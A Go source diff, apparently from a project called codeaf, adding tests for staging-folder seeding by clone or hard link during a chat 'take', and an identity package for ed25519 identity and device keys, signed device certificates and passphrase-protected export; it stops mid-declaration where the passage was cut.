-0,0 +1,111 @@ +package handoff + +import ( + "errors" + "os" + "path/filepath" + "syscall" + "testing" +) + +// The tests of the hard-link seed run on every platform, so they pin the tier +// they test: a platform that clones would otherwise skip it. +func init() { cloneTree = refuseClone } + +func refuseClone(string, string) error { return syscall.EXDEV } + +// writeTree makes the files of a small tree and answers its root. +func writeTree(t *testing.T, files map[string]string) string { + t.Helper() + root := t.TempDir() + for rel, body := range files { + p := filepath.Join(root, rel) + if err := os.MkdirAll(filepath.Dir(p), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(p, []byte(body), 0o644); err != nil { + t.Fatal(err) + } + } + return root +} + +func emptyStage(t *testing.T) string { + t.Helper() + stage := filepath.Join(t.TempDir(), "stage") + if err := os.Mkdir(stage, 0o700); err != nil { + t.Fatal(err) + } + return stage +} + +// copyTree stands in for a filesystem clone: it makes dst, which must not +// exist, hold a copy of src, and it counts its calls. +func copyTree(calls *int) func(src, dst string) error { + return func(src, dst string) error { + *calls++ + return os.CopyFS(dst, os.DirFS(src)) + } +} + +// TestSeedClonesTheWholeTreeInOneCallAndDropsTheIdentity: where the filesystem +// clones, one call seeds the staging folder, no per-file link is made, and the +// engine's identity folder, which a clone carries along, is not left in it. +func TestSeedClonesTheWholeTreeInOneCallAndDropsTheIdentity(t *testing.T) { + src := writeTree(t, map[string]string{"a.txt": "a", "d/b.txt": "b", identityDir + "/workspace": "id"}) + dst, calls := emptyStage(t), 0 + defer func(old func(string, string) error) { cloneTree = old }(cloneTree) + cloneTree = copyTree(&calls) + defer func(old func(string, string) error) { linkFile = old }(linkFile) + linkFile = func(string, string) error { t.Fatal("a file was linked after the clone worked"); return nil } + + seedFrom(src, dst) + + if calls != 1 { + t.Fatalf("clone called %d times, want 1", calls) + } + if got := tree(t, dst); got["a.txt"] != "a" || got["d/b.txt"] != "b" { + t.Fatalf("staging = %v, want the held tree", got) + } + if exists(filepath.Join(dst, identityDir)) { + t.Fatal("the engine's identity folder was cloned into the staging folder") + } +} + +// TestSeedFallsBackToLinksWhenTheCloneIsRefused: a clone across volumes fails, +// the staging folder is again the empty folder it was, and the hard-link seed +// fills it, so the take is whole on a filesystem that cannot clone. +func TestSeedFallsBackToLinksWhenTheCloneIsRefused(t *testing.T) { + src := writeTree(t, map[string]string{"a.txt": "a", "d/b.txt": "b"}) + dst := emptyStage(t) + defer func(old func(string, string) error) { cloneTree = old }(cloneTree) + cloneTree = func(_, to string) error { + _ = os.Mkdir(to, 0o700) // a refusal that left a half-made folder behind + return &os.LinkError{Op: "clonefile", Err: syscall.EXDEV} + } + + seedFrom(src, dst) + + if !os.SameFile(stat(t, filepath.Join(src, "d/b.txt")), stat(t, filepath.Join(dst, "d/b.txt"))) { + t.Fatal("the fallback did not hard-link the files") + } + if got := stat(t, dst).Mode().Perm(); got != stat(t, src).Mode().Perm() { + t.Fatalf("staging folder mode %v, want the held tree's", got) + } +} + +// TestSeedLeavesAnEmptyFolderWhenNothingCanSeedIt: a clone that is refused and +// a link that is refused leave the folder empty and usable, never absent. +func TestSeedLeavesAnEmptyFolderWhenNothingCanSeedIt(t *testing.T) { + src := writeTree(t, map[string]string{"a.txt": "a"}) + dst := emptyStage(t) + defer func(old func(string, string) error) { linkFile = old }(linkFile) + linkFile = func(string, string) error { return errors.New("refused") } + + seedFrom(src, dst) + + entries, err := os.ReadDir(dst) + if err != nil || len(entries) != 0 { + t.Fatalf("staging = %v, %v; want an empty folder", entries, err) + } +} diff --git a/internal/handoff/warm_test.go b/internal/handoff/warm_test.go new file mode 100644 index 0000000000..68418589fc --- /dev/null +++ b/internal/handoff/warm_test.go @@ -0,0 +1,275 @@ +package handoff + +import ( + "context" + "errors" + "os" + "path/filepath" + "reflect" + "syscall" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/directory" +) + +// stat reads a file of the device's root, failing the test when it is absent. +func stat(t *testing.T, path string) os.FileInfo { + t.Helper() + info, err := os.Stat(path) + if err != nil { + t.Fatal(err) + } + return info +} + +// TestWarmTakeWritesOnlyTheChangedFile: a device that holds the chat at an +// older head keeps every file the new head did not change as the very same +// file, and only the changed path is a new file. +func TestWarmTakeWritesOnlyTheChangedFile(t *testing.T) { + _, a, b := backFromB(t) + a.materialize(a.cell(chatID), map[string]string{"keep.txt": "same", "edit.txt": "old"}) + b.work(map[string]string{"a.txt": "one", "keep.txt": "same", "edit.txt": "new"}) + keep, edit := stat(t, filepath.Join(a.root(chatID), "keep.txt")), stat(t, filepath.Join(a.root(chatID), "edit.txt")) + a.local.dirty = false + + taken, err := a.taker().Take(context.Background(), chatID) + if err != nil { + t.Fatal(err) + } + if got := tree(t, taken.Cell.Root); got["edit.txt"] != "new" || got["keep.txt"] != "same" { + t.Fatalf("root = %v, want the new head", got) + } + if !os.SameFile(keep, stat(t, filepath.Join(taken.Cell.Root, "keep.txt"))) { + t.Fatal("an unchanged file was rewritten") + } + if os.SameFile(edit, stat(t, filepath.Join(taken.Cell.Root, "edit.txt"))) { + t.Fatal("the changed file is still the old file") + } +} + +// TestWarmTakeRemovesWhatTheHeadDropped: a path the new head no longer holds +// is gone from the taken tree, though the staging folder started as a copy. +func TestWarmTakeRemovesWhatTheHeadDropped(t *testing.T) { + _, a, b := backFromB(t) + a.materialize(a.cell(chatID), map[string]string{"gone.txt": "x", "old/name.txt": "moved"}) + b.work(map[string]string{"a.txt": "one", "new/name.txt": "moved"}) + + taken, err := a.taker().Take(context.Background(), chatID) + if err != nil { + t.Fatal(err) + } + got := tree(t, taken.Cell.Root) + if _, ok := got["gone.txt"]; ok || got["new/name.txt"] != "moved" { + t.Fatalf("root = %v, want gone.txt removed and the rename applied", got) + } + if _, ok := got[filepath.Join("old", "name.txt")]; ok { + t.Fatalf("root = %v, the old name of a renamed file is still there", got) + } +} + +// TestTakeBackOfAnUnchangedChatWritesNothing: taking a chat back at the head +// this device already holds leaves every file as it was. +func TestTakeBackOfAnUnchangedChatWritesNothing(t *testing.T) { + _, a, _ := backFromB(t) + a.materialize(a.cell(chatID), map[string]string{"a.txt": "one", "b.txt": "from b"}) + before := map[string]os.FileInfo{} + for name := range tree(t, a.root(chatID)) { + before[name] = stat(t, filepath.Join(a.root(chatID), name)) + } + + taken, err := a.taker().Take(context.Background(), chatID) + if err != nil { + t.Fatal(err) + } + for name, info := range before { + if !os.SameFile(info, stat(t, filepath.Join(taken.Cell.Root, name))) { + t.Fatalf("%s was rewritten by a take that changes nothing", name) + } + } +} + +// TestWarmTakeThatFailsLeavesTheOldRootWhole: a take that dies after the +// staging folder was filled must not have touched a byte of the root, though +// the two folders share their unchanged files. +func TestWarmTakeThatFailsLeavesTheOldRootWhole(t *testing.T) { + _, a, b := backFromB(t) + a.materialize(a.cell(chatID), map[string]string{"edit.txt": "old"}) + b.work(map[string]string{"a.txt": "one", "b.txt": "from b", "edit.txt": "new"}) + before := tree(t, a.root(chatID)) + a.onFetc = func() { + if _, err := b.dir.Client.Acquire(context.Background(), chatID, directory.AcquireOpts{}); err != nil { + t.Fatal(err) + } + } + + if _, err := a.taker().Take(context.Background(), chatID); !errors.Is(err, directory.ErrLeaseHeld) { + t.Fatalf("err = %v, want ErrLeaseHeld", err) + } + if got := tree(t, a.root(chatID)); !reflect.DeepEqual(got, before) { + t.Fatalf("root = %v, was %v: the failed take reached the root", got, before) + } +} + +// TestSeedKeepsLinksModesAndSymlinks is the copy a warm take starts from. +func TestSeedKeepsLinksModesAndSymlinks(t *testing.T) { + src, dst := t.TempDir(), filepath.Join(t.TempDir(), "stage") + write := func(rel, body string, mode os.FileMode) { + p := filepath.Join(src, rel) + if err := os.MkdirAll(filepath.Dir(p), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(p, []byte(body), mode); err != nil { + t.Fatal(err) + } + } + write("d/run.sh", "#!/bin/sh", 0o755) + write(identityDir+"/workspace", "id", 0o600) + if err := os.Symlink("d/run.sh", filepath.Join(src, "ln")); err != nil { + t.Fatal(err) + } + if err := os.Mkdir(dst, 0o700); err != nil { + t.Fatal(err) + } + + seedFrom(src, dst) + + if !os.SameFile(stat(t, filepath.Join(src, "d/run.sh")), stat(t, filepath.Join(dst, "d/run.sh"))) { + t.Fatal("a regular file is not a hard link") + } + if got, err := os.Readlink(filepath.Join(dst, "ln")); err != nil || got != "d/run.sh" { + t.Fatalf("symlink = %q, %v", got, err) + } + if stat(t, filepath.Join(dst, "d/run.sh")).Mode() != 0o755 { + t.Fatal("file mode changed") + } + if _, err := os.Stat(filepath.Join(dst, identityDir)); !os.IsNotExist(err) { + t.Fatalf("the engine's identity folder was copied (%v)", err) + } + if !stat(t, filepath.Join(dst, "d")).ModTime().Equal(stat(t, filepath.Join(src, "d")).ModTime()) { + t.Fatal("folder time not kept") + } +} + +// TestSeedFromNothingLeavesTheFolderEmpty is the cold take. +func TestSeedFromNothingLeavesTheFolderEmpty(t *testing.T) { + dst := t.TempDir() + seedFrom(filepath.Join(t.TempDir(), "absent"), dst) + if entries, _ := os.ReadDir(dst); len(entries) != 0 { + t.Fatalf("staging holds %d entries after a cold seed", len(entries)) + } +} + +// TestWarmTakeAcrossFilesystemsFallsBackToCopy: when the filesystem refuses +// the hard link (the staging folder is on another device than the held tree) +// nothing is seeded, the engine writes every file, and the take is whole while +// the held tree is untouched. +func TestWarmTakeAcrossFilesystemsFallsBackToCopy(t *testing.T) { + refused := func(string, string) error { return &os.LinkError{Op: "link", Err: syscall.EXDEV} } + defer func(old func(string, string) error) { linkFile = old }(linkFile) + linkFile = refused + _, a, b := backFromB(t) + a.materialize(a.cell(chatID), map[string]string{"keep.txt": "same", "edit.txt": "old"}) + b.work(map[string]string{"a.txt": "one", "keep.txt": "same", "edit.txt": "new"}) + held := stat(t, filepath.Join(a.root(chatID), "keep.txt")) + a.local.dirty = false + + taken, err := a.taker().Take(context.Background(), chatID) + if err != nil { + t.Fatal(err) + } + got := tree(t, taken.Cell.Root) + if got["keep.txt"] != "same" || got["edit.txt"] != "new" || got["a.txt"] != "one" { + t.Fatalf("root = %v, want the new head", got) + } + if os.SameFile(held, stat(t, filepath.Join(taken.Cell.Root, "keep.txt"))) { + t.Fatal("a refused link still produced a shared file") + } +} + +// TestSeededFileChangedInPlaceIsRepairedByTheRestore: a write made in place to +// a held file after seeding changes the staged file too, because they are one +// inode. The restore compares content, never a cache of what was seeded, so it +// replaces that file by a new one: the taken tree holds the head and the held +// tree keeps only its own edit. +func TestSeededFileChangedInPlaceIsRepairedByTheRestore(t *testing.T) { + _, a, b := backFromB(t) + a.materialize(a.cell(chatID), map[string]string{"keep.txt": "same"}) + head := b.work(map[string]string{"keep.txt": "same"}) + held := filepath.Join(a.root(chatID), "keep.txt") + stage := cell.Cell{ID: chatID, Root: stagingOf(a.root(chatID))} + if err := os.MkdirAll(stage.Root, 0o700); err != nil { + t.Fatal(err) + } + seedFrom(a.root(chatID), stage.Root) + if err := os.WriteFile(held, []byte("edited in place"), 0o600); err != nil { + t.Fatal(err) + } + + if err := a.taker().Fetch.Fetch(context.Background(), stage, head); err != nil { + t.Fatal(err) + } + + if got := tree(t, stage.Root)["keep.txt"]; got != "same" { + t.Fatalf("taken keep.txt = %q, the in-place edit leaked through the shared file", got) + } + if got := tree(t, a.root(chatID))["keep.txt"]; got != "edited in place" { + t.Fatalf("held keep.txt = %q, the restore wrote into the held file", got) + } +} + +// TestTakeLeavesNoSecondNameForAnyFile: once the staging folder replaced the +// root, the old root is gone, so no file of the taken tree has another name +// and a later in-place write there cannot reach any other tree. +func TestTakeLeavesNoSecondNameForAnyFile(t *testing.T) { + _, a, b := backFromB(t) + a.materialize(a.cell(chatID), map[string]string{"keep.txt": "same"}) + b.work(map[string]string{"a.txt": "one", "keep.txt": "same"}) + a.local.dirty = false + + taken, err := a.taker().Take(context.Background(), chatID) + if err != nil { + t.Fatal(err) + } + links := stat(t, filepath.Join(taken.Cell.Root, "keep.txt")).Sys().(*syscall.Stat_t).Nlink + if links != 1 { + t.Fatalf("keep.txt has %d names after the swap, want 1", links) + } + for _, leftover := range []string{taken.Cell.Root + ".replaced", taken.Cell.Root + ".taking"} { + if exists(leftover) { + t.Fatalf("%s survived the take", leftover) + } + } +} + +// TestCrashAfterSeedingLeavesTheHeldTreeWhole: a process that dies once the +// staging folder is seeded and fetched, before the swap, leaves the held tree +// byte for byte as it was (the engine never writes a shared file), and the +// next take discards what the crash left and succeeds. +func TestCrashAfterSeedingLeavesTheHeldTreeWhole(t *testing.T) { + _, a, b := backFromB(t) + a.materialize(a.cell(chatID), map[string]string{"keep.txt": "same", "edit.txt": "old"}) + head := b.work(map[string]string{"a.txt": "one", "keep.txt": "same", "edit.txt": "new"}) + before := tree(t, a.root(chatID)) + a.local.dirty = false + stage := cell.Cell{ID: chatID, Root: stagingOf(a.root(chatID))} + + // The claim runs as far as the staging folder and stops: no install. + if _, _, _, err := a.taker().fetchAndAcquire(context.Background(), stage, a.root(chatID), head, directory.AcquireOpts{}); err != nil { + t.Fatal(err) + } + + if got := tree(t, a.root(chatID)); !reflect.DeepEqual(got, before) { + t.Fatalf("held tree = %v, was %v", got, before) + } + if got := tree(t, stage.Root); got["edit.txt"] != "new" { + t.Fatalf("the crash left staging = %v, want the new head to be there", got) + } + taken, err := a.taker().Take(context.Background(), chatID) + if err != nil { + t.Fatalf("the take after the crash: %v", err) + } + if got := tree(t, taken.Cell.Root); got["edit.txt"] != "new" || got["a.txt"] != "one" { + t.Fatalf("root = %v, want the new head", got) + } +} diff --git a/internal/identity/device.go b/internal/identity/device.go new file mode 100644 index 0000000000..d01800e759 --- /dev/null +++ b/internal/identity/device.go @@ -0,0 +1,119 @@ +package identity + +import ( + "crypto/ed25519" + "crypto/sha256" + "encoding/hex" + "encoding/json" + "errors" + "os" + "path/filepath" + "time" +) + +// DeviceFile holds this machine's device key and its certificate. It is never +// exported: the root identity travels, the device does not. +const DeviceFile = "device.json" + +const certLabel = "codeaf/device-cert/v1\n" + +// Cert is the identity's signature over one device: its public key and when it +// was made. It carries no name, because a relay reads it in a request header; +// the device's name lives only sealed in the directory record. It is what a relay checks to tell devices of one identity +// apart, and what would let a lost one be dropped. +type Cert struct { + V uint16 `json:"V"` + Device string `json:"device"` // device public key, hex + Made int64 `json:"created"` // unix ms + Sig string `json:"sig"` // hex ed25519 over the other fields +} + +// body is what the signature covers: the cert without its signature. +func (c Cert) body() []byte { + c.Sig = "" + raw, _ := json.Marshal(c) + return append([]byte(certLabel), raw...) +} + +// Verify checks the cert was signed by the identity owning identityKey. +func (c Cert) Verify(identityKey ed25519.PublicKey) error { + sig, err := hex.DecodeString(c.Sig) + if err != nil || !ed25519.Verify(identityKey, c.body(), sig) { + return errors.New("identity: device certificate does not verify") + } + return nil +} + +// DeviceID is "dev_" and 32 hex characters of the hash of the device key. +func (c Cert) DeviceID() string { + pub, _ := hex.DecodeString(c.Device) + sum := sha256.Sum256(pub) + return "dev_" + hex.EncodeToString(sum[:16]) +} + +// Dev is this machine's device: its key and the cert the identity signed. +type Dev struct { + Cert Cert + seed key +} + +// ID is the device id. +func (d Dev) ID() string { return d.Cert.DeviceID() } + +// Sign signs msg with the device key. +func (d Dev) Sign(msg []byte) []byte { return ed25519.Sign(ed25519.NewKeyFromSeed(d.seed[:]), msg) } + +// deviceDocument is the persisted form. +type deviceDocument struct { + V uint16 `json:"V"` + Seed string `json:"device_seed"` + Cert Cert `json:"cert"` +} + +// Device returns this machine's device under its identity, making either on +// first use. +func Device(home string) (Dev, error) { + id, err := Ensure(home) + if err != nil { + return Dev{}, err + } + return deviceFor(home, id) +} + +// deviceFor returns the stored device when its cert verifies under id, else a +// fresh device. A replaced identity therefore never keeps a stale device. +func deviceFor(home string, id Identity) (Dev, error) { + if d, err := loadDevice(home); err == nil && d.Cert.Verify(id.PublicKey()) == nil { + return d, nil + } + d, err := newDevice(id) + if err != nil { + return Dev{}, err + } + return d, write(filepath.Join(home, DeviceFile), d.document(), os.Rename) +} + +func newDevice(id Identity) (Dev, error) { + seed, err := randomKey() + if err != nil { + return Dev{}, err + } + return Seed{seed: seed}.Join(IssueCert(id, Seed{seed: seed}.Public(), time.Now())) +} + +func (d Dev) document() deviceDocument { + return deviceDocument{V: version, Seed: hex.EncodeToString(d.seed[:]), Cert: d.Cert} +} + +func loadDevice(home string) (Dev, error) { + raw, err := os.ReadFile(filepath.Join(home, DeviceFile)) + if err != nil { + return Dev{}, err + } + var doc deviceDocument + if err := json.Unmarshal(raw, &doc); err != nil { + return Dev{}, err + } + d := Dev{Cert: doc.Cert} + return d, decodeKey(doc.Seed, &d.seed) +} diff --git a/internal/identity/doc.go b/internal/identity/doc.go new file mode 100644 index 0000000000..378822a641 --- /dev/null +++ b/internal/identity/doc.go @@ -0,0 +1,19 @@ +// Package identity is the one person-level root on a machine. +// +// An identity is three independent 32-byte secrets kept in one file, +// identity.json, mode 0600 in the codeaf home, outside every workspace: +// +// - a signing seed (ed25519) whose public key names the person to the +// directory; the public id is a hash of that key; +// - a dedup secret, the input of the convergent chunk keys; +// - the cell key, which in Stage 1 is the one key every cell names (the +// degenerate derivation, ARCHITECTURE section 9). +// +// There is no account. A second machine gets the same identity by importing a +// passphrase-wrapped export (argon2id, XChaCha20-Poly1305); the public id and +// cell_key_id then match on both. Each machine also holds its own device key +// (device.go) that never leaves it; the identity signs a certificate for it. The vault in internal/keys seals under the +// cell key, so there is exactly one root secret. An older machine's vault.key +// becomes the cell key the first time an identity is created there, so its +// vault keeps decrypting. +package identity diff --git a/internal/identity/identity.go b/internal/identity/identity.go new file mode 100644 index 0000000000..d6cf78cbd6 --- /dev/null +++ b/internal/identity/identity.go @@ -0,0 +1,134 @@ +package identity + +import ( + "crypto/ed25519" + "crypto/rand" + "crypto/sha256" + "encoding/hex" + "encoding/json" + "errors" + "fmt" +) + +const ( + version = 1 + keySize = 32 +) + +type key [keySize]byte + +// Identity is one person's root secrets. The zero value is not an identity. +type Identity struct { + seed key + dedup key + cell key +} + +// document is the persisted form: every secret as 64 hex characters. +type document struct { + V uint16 `json:"V"` + SigningSeed string `json:"signing_seed"` + DedupSecret string `json:"dedup_secret"` + CellKey string `json:"cell_key"` +} + +func (i Identity) document() document { + return document{V: version, SigningSeed: hex.EncodeToString(i.seed[:]), + DedupSecret: hex.EncodeToString(i.dedup[:]), CellKey: hex.EncodeToString(i.cell[:])} +} + +func fromDocument(d document) (Identity, error) { + if d.V != version { + return Identity{}, fmt.Errorf("identity: unsupported version %d", d.V) + } + var id Identity + fields := []struct { + text string + into *key + }{{d.SigningSeed, &id.seed}, {d.DedupSecret, &id.dedup}, {d.CellKey, &id.cell}} + for _, f := range fields { + if err := decodeKey(f.text, f.into); err != nil { + return Identity{}, err + } + } + return id, nil +} + +func decodeKey(text string, into *key) error { + raw, err := hex.DecodeString(text) + if err != nil || len(raw) != keySize { + return errors.New("identity: a secret is not 32 bytes of hex") + } + copy(into[:], raw) + return nil +} + +func randomKey() (key, error) { + var k key + _, err := rand.Read(k[:]) + return k, err +} + +// generate makes a fresh identity around the given cell key. +func generate(cell key) (Identity, error) { + seed, err1 := randomKey() + dedup, err2 := randomKey() + return Identity{seed: seed, dedup: dedup, cell: cell}, errors.Join(err1, err2) +} + +// PublicKey is the ed25519 key the directory verifies signatures against. +func (i Identity) PublicKey() ed25519.PublicKey { + return ed25519.NewKeyFromSeed(i.seed[:]).Public().(ed25519.PublicKey) +} + +// Sign signs msg with the identity's signing key. +func (i Identity) Sign(msg []byte) []byte { + return ed25519.Sign(ed25519.NewKeyFromSeed(i.seed[:]), msg) +} + +// ID is the public identity id: "id_" and 32 hex characters of the hash of the +// public key. +func (i Identity) ID() string { + sum := sha256.Sum256(i.PublicKey()) + return "id_" + hex.EncodeToString(sum[:16]) +} + +// Fingerprint is a short form of the id to compare by eye: four groups of four +// hex characters. +func (i Identity) Fingerprint() string { + sum := sha256.Sum256(i.PublicKey()) + s := hex.EncodeToString(sum[:8]) + return fmt.Sprintf("%s-%s-%s-%s", s[0:4], s[4:8], s[8:12], s[12:16]) +} + +// CellKey is the key that seals structure and the vault in Stage 1. +func (i Identity) CellKey() []byte { return append([]byte(nil), i.cell[:]...) } + +// DedupSecret is the input of the convergent chunk keys. +func (i Identity) DedupSecret() []byte { return append([]byte(nil), i.dedup[:]...) } + +// CellKeyID names a cell key: the first 16 bytes of its SHA-256 as 32 hex +// characters, the shape of meta.cell_key_id. +func CellKeyID(cellKey []byte) string { + sum := sha256.Sum256(cellKey) + return hex.EncodeToString(sum[:16]) +} + +// CellKeyID names this identity's cell key. +func (i Identity) CellKeyID() string { return CellKeyID(i.cell[:]) } + +// Marshal is the identity as one document in memory, for a moment when it must +// cross a channel the caller has already made private (a pairing). Nothing here +// touches the disk: Save is still the only way an identity reaches a file, and +// a caller that holds this output holds every secret the identity has. +func (i Identity) Marshal() ([]byte, error) { return json.Marshal(i.document()) } + +// Unmarshal reads a document Marshal made, refusing anything that is not a +// whole, current identity so that a half-received grant cannot be adopted. +func Unmarshal(raw []byte) (Identity, error) { + var d document + if err := json.Unmarshal(raw, &d); err != nil { + return Identity{}, fmt.Errorf("identity: not an identity document: %w", err) + } + return fromDocument(d) +} diff --git a/internal/identity/identity_test.go b/internal/identity/identity_test.go new file mode 100644 index 0000000000..6b9a0ce6cf --- /dev/null +++ b/internal/identity/identity_test.go @@ -0,0 +1,216 @@ +package identity + +import ( + "crypto/ed25519" + "encoding/hex" + "errors" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/lawcheck" +) + +var _ = lawcheck.UpdateFlag() + +func init() { cost = wrapped{Time: 1, MemKiB: 64, Threads: 1} } // fast tests + +func sample() Identity { + var id Identity + for i := range id.seed { + id.seed[i], id.dedup[i], id.cell[i] = byte(i), byte(0x40+i), byte(0x80+i) + } + return id +} + +func TestGoldenIdentityFile(t *testing.T) { + lawcheck.Golden(t, filepath.Join("testdata", "identity.golden.json"), sample().document()) +} + +func TestGoldenExport(t *testing.T) { + lawcheck.Golden(t, filepath.Join("testdata", "export.golden.json"), wrapped{V: 1, KDF: kdfName, Time: 3, MemKiB: 65536, + Threads: 4, Salt: "00112233445566778899aabbccddeeff", Nonce: "00112233445566778899aabbccddeeff0011223344556677", Data: "cafe"}) +} + +func TestEnsureIsStableAndPrivate(t *testing.T) { + home := filepath.Join(t.TempDir(), "home") + a, err := Ensure(home) + if err != nil { + t.Fatal(err) + } + b, err := Ensure(home) + if err != nil || a.ID() != b.ID() || a.CellKeyID() != b.CellKeyID() { + t.Fatalf("second Ensure differs: %v", err) + } + if info, err := os.Stat(filepath.Join(home, File)); err != nil || info.Mode().Perm() != 0o600 { + t.Fatalf("identity file: %v %v", info, err) + } + if entries, _ := os.ReadDir(home); len(entries) != 2 { + t.Fatalf("temp files left behind: %v", entries) + } +} + +func TestIdentityShape(t *testing.T) { + id := sample() + if len(id.ID()) != 35 || len(id.Fingerprint()) != 19 || len(id.CellKeyID()) != 32 { + t.Fatalf("shapes: %s %s %s", id.ID(), id.Fingerprint(), id.CellKeyID()) + } + msg := []byte("hello") + if !ed25519.Verify(id.PublicKey(), msg, id.Sign(msg)) { + t.Fatal("signature does not verify") + } +} + +func TestExportImportOnSecondHome(t *testing.T) { + first, _ := Ensure(t.TempDir()) + blob, err := Export(first, "correct horse") + if err != nil { + t.Fatal(err) + } + second := t.TempDir() + got, err := Import(blob, "correct horse") + if err != nil { + t.Fatal(err) + } + if _, err := Adopt(second, got, false); err != nil { + t.Fatal(err) + } + loaded, _ := Load(second) + if loaded.ID() != first.ID() || loaded.CellKeyID() != first.CellKeyID() || string(loaded.DedupSecret()) != string(first.DedupSecret()) { + t.Fatal("second machine does not hold the same identity") + } +} + +func TestWrongPassphraseAndDamageRefused(t *testing.T) { + blob, _ := Export(sample(), "right") + if _, err := Import(blob, "wrong"); !errors.Is(err, ErrWrongPassphrase) { + t.Fatalf("wrong passphrase: %v", err) + } + if _, err := Import([]byte(`{"V":1}`), "right"); err == nil { + t.Fatal("accepted a non-export") + } + if _, err := Import([]byte(`{"V":1,"kdf":"argon2id","t":1,"m_kib":4294967295,"p":1}`), "x"); err == nil { + t.Fatal("accepted absurd key stretching") + } +} + +func TestAdoptRefusesADifferentIdentityWithoutReplace(t *testing.T) { + home := t.TempDir() + mine, _ := Ensure(home) + if _, err := Adopt(home, sample(), false); !errors.Is(err, ErrDifferent) { + t.Fatalf("overwrote a different identity: %v", err) + } + if again, _ := Load(home); again.ID() != mine.ID() { + t.Fatal("identity changed despite refusal") + } + if replaced, err := Adopt(home, mine, false); err != nil || replaced { + t.Fatalf("re-adopting the same identity: %v %v", replaced, err) + } + if replaced, err := Adopt(home, sample(), true); err != nil || !replaced { + t.Fatalf("replace: %v %v", replaced, err) + } +} + +func TestGoldenDeviceCert(t *testing.T) { + lawcheck.Golden(t, filepath.Join("testdata", "device.golden.json"), Cert{V: 1, + Device: "00112233445566778899aabbccddeeff00112233445566778899aabbccddeeff", + Made: 1759049990000, Sig: "cafe"}) +} + +func TestTwoMachinesShareIdentityNotDevice(t *testing.T) { + a, b := t.TempDir(), t.TempDir() + first, _ := Ensure(a) + blob, _ := Export(first, "pw") + root, _ := Import(blob, "pw") + if _, err := Adopt(b, root, false); err != nil { + t.Fatal(err) + } + da, err1 := Device(a) + db, err2 := Device(b) + if err1 != nil || err2 != nil { + t.Fatal(err1, err2) + } + if got, _ := Load(b); got.ID() != first.ID() { + t.Fatal("identity ids differ") + } + if da.ID() == db.ID() || len(da.ID()) != 36 { + t.Fatalf("device ids: %s %s", da.ID(), db.ID()) + } + if again, _ := Device(a); again.ID() != da.ID() { + t.Fatal("device is not stable") + } + if err := db.Cert.Verify(first.PublicKey()); err != nil { + t.Fatalf("B's cert under the shared root: %v", err) + } + msg := []byte("lease") + pub, _ := hex.DecodeString(db.Cert.Device) + if !ed25519.Verify(pub, msg, db.Sign(msg)) { + t.Fatal("device signature does not verify") + } + if blobHasDevice := strings.Contains(string(blob), "device"); blobHasDevice { + t.Fatal("export carries device material") + } +} + +func TestCertVerifiesOnlyUnderItsIdentityAndUntampered(t *testing.T) { + home := t.TempDir() + d, _ := Device(home) + root, _ := Load(home) + if err := d.Cert.Verify(root.PublicKey()); err != nil { + t.Fatal(err) + } + if err := d.Cert.Verify(sample().PublicKey()); err == nil { + t.Fatal("cert verified under a different identity") + } + tampered := d.Cert + tampered.Made++ + if err := tampered.Verify(root.PublicKey()); err == nil { + t.Fatal("tampered cert verified") + } +} + +func TestReplacingTheIdentityRenewsTheDevice(t *testing.T) { + home := t.TempDir() + old, _ := Device(home) + if _, err := Adopt(home, sample(), true); err != nil { + t.Fatal(err) + } + now, _ := Device(home) + if now.ID() == old.ID() || now.Cert.Verify(sample().PublicKey()) != nil { + t.Fatal("device did not follow the new identity") + } +} + +// A home holding only an unmigrated vault.key: importing another identity is +// refused, and the key survives as the identity's cell key. +func TestAdoptRefusesOverAnUnmigratedVaultKey(t *testing.T) { + home := t.TempDir() + k := sample().cell + os.WriteFile(filepath.Join(home, "vault.key"), []byte(hex.EncodeToString(k[:])), 0o600) + if _, err := Adopt(home, sample(), false); !errors.Is(err, ErrDifferent) { + t.Fatalf("want ErrDifferent, got %v", err) + } + if kept, _ := Load(home); kept.CellKeyID() != sample().CellKeyID() { + t.Fatal("vault key was not adopted as the cell key") + } +} + +func TestPristine(t *testing.T) { + home := t.TempDir() + if ok, err := Pristine(home); !ok || err != nil { + t.Fatalf("an empty home is pristine, got %v %v", ok, err) + } + if _, err := Ensure(home); err != nil { + t.Fatal(err) + } + if ok, _ := Pristine(home); !ok { + t.Fatal("a home with only its keys is pristine") + } + if err := os.WriteFile(filepath.Join(home, "vault.enc"), []byte("x"), 0o600); err != nil { + t.Fatal(err) + } + if ok, _ := Pristine(home); ok { + t.Fatal("a home with a vault is used") + } +} diff --git a/internal/identity/issue.go b/internal/identity/issue.go new file mode 100644 index 0000000000..ca5d2d07f7 --- /dev/null +++ b/internal/identity/issue.go @@ -0,0 +1,40 @@ +package identity + +import ( + "crypto/ed25519" + "encoding/hex" + "errors" + "time" +) + +// Seed is a device's secret key before any identity has certified it. A device +// that asks to join an identity makes a Seed, shows its public half, and becomes +// a Dev when an already-joined device sends back the certificate. +type Seed struct{ seed key } + +// NewSeed makes a fresh device secret. +func NewSeed() (Seed, error) { + k, err := randomKey() + return Seed{seed: k}, err +} + +// Public is the device's public key, the one a certificate names. +func (s Seed) Public() ed25519.PublicKey { + return ed25519.NewKeyFromSeed(s.seed[:]).Public().(ed25519.PublicKey) +} + +// Join turns the seed into a device under cert, which must name this seed's key. +func (s Seed) Join(cert Cert) (Dev, error) { + if cert.Device != hex.EncodeToString(s.Public()) { + return Dev{}, errors.New("identity: the certificate is for another device") + } + return Dev{Cert: cert, seed: s.seed}, nil +} + +// IssueCert signs a certificate for the device with public key pub, made at now. +// It is how a device that is already joined lets another one in. +func IssueCert(id Identity, pub ed25519.PublicKey, now time.Time) Cert { + cert := Cert{V: version, Device: hex.EncodeToString(pub), Made: now.UnixMilli()} + cert.Sig = hex.EncodeToString(id.Sign(cert.body())) + return cert +} diff --git a/internal/identity/predecessors.go b/internal/identity/predecessors.go new file mode 100644 index 0000000000..38248bb2e0 --- /dev/null +++ b/internal/identity/predecessors.go @@ -0,0 +1,59 @@ +package identity + +import ( + "errors" + "os" + "path/filepath" + "regexp" + "slices" + "strings" +) + +// predecessorsFile lists, one id per line, the identities this one replaced by +// rotation, oldest first. A device that is paired later shows it to a computer +// still on an old identity, which is how that computer knows it may follow. +const predecessorsFile = "predecessors" + +// MaxPredecessors bounds the list: a person who rotates more often than this +// has no computer still on the oldest ones. +const MaxPredecessors = 8 + +var idShape = 